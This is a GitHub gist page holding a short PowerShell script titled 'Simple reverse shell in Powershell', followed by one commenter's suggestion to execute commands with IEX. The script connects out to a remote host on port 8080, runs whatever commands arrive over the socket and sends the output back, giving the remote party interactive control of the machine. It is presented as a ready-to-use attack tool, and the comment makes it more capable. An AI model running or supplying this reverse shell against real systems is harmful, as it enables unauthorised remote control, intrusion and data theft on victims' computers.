Skip to content

Instantly share code, notes, and snippets.

@staaldraad
Last active July 13, 2023 16:23
Show Gist options
  • Save staaldraad/a4e7095db8a84061c0ec to your computer and use it in GitHub Desktop.
Save staaldraad/a4e7095db8a84061c0ec to your computer and use it in GitHub Desktop.
Simple reverse shell in Powershell
$socket = new-object System.Net.Sockets.TcpClient('10.10.10.2', 8080);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do{
$writer.Write("> ");
$writer.Flush();
$read = $null;
while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
if(!$out.equals("exit")){
$out = $out.split(' ')
$res = [string](&$out[0] $out[1..$out.length]);
if($res -ne $null){ $writer.WriteLine($res)}
}
}While (!$out.equals("exit"))
$writer.close();$socket.close();
@AFNordal
Copy link

Using "IEX" instead of "&" for command execution would let you skip the .split(" ") and also enable you to pass flags, parameters and paths.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment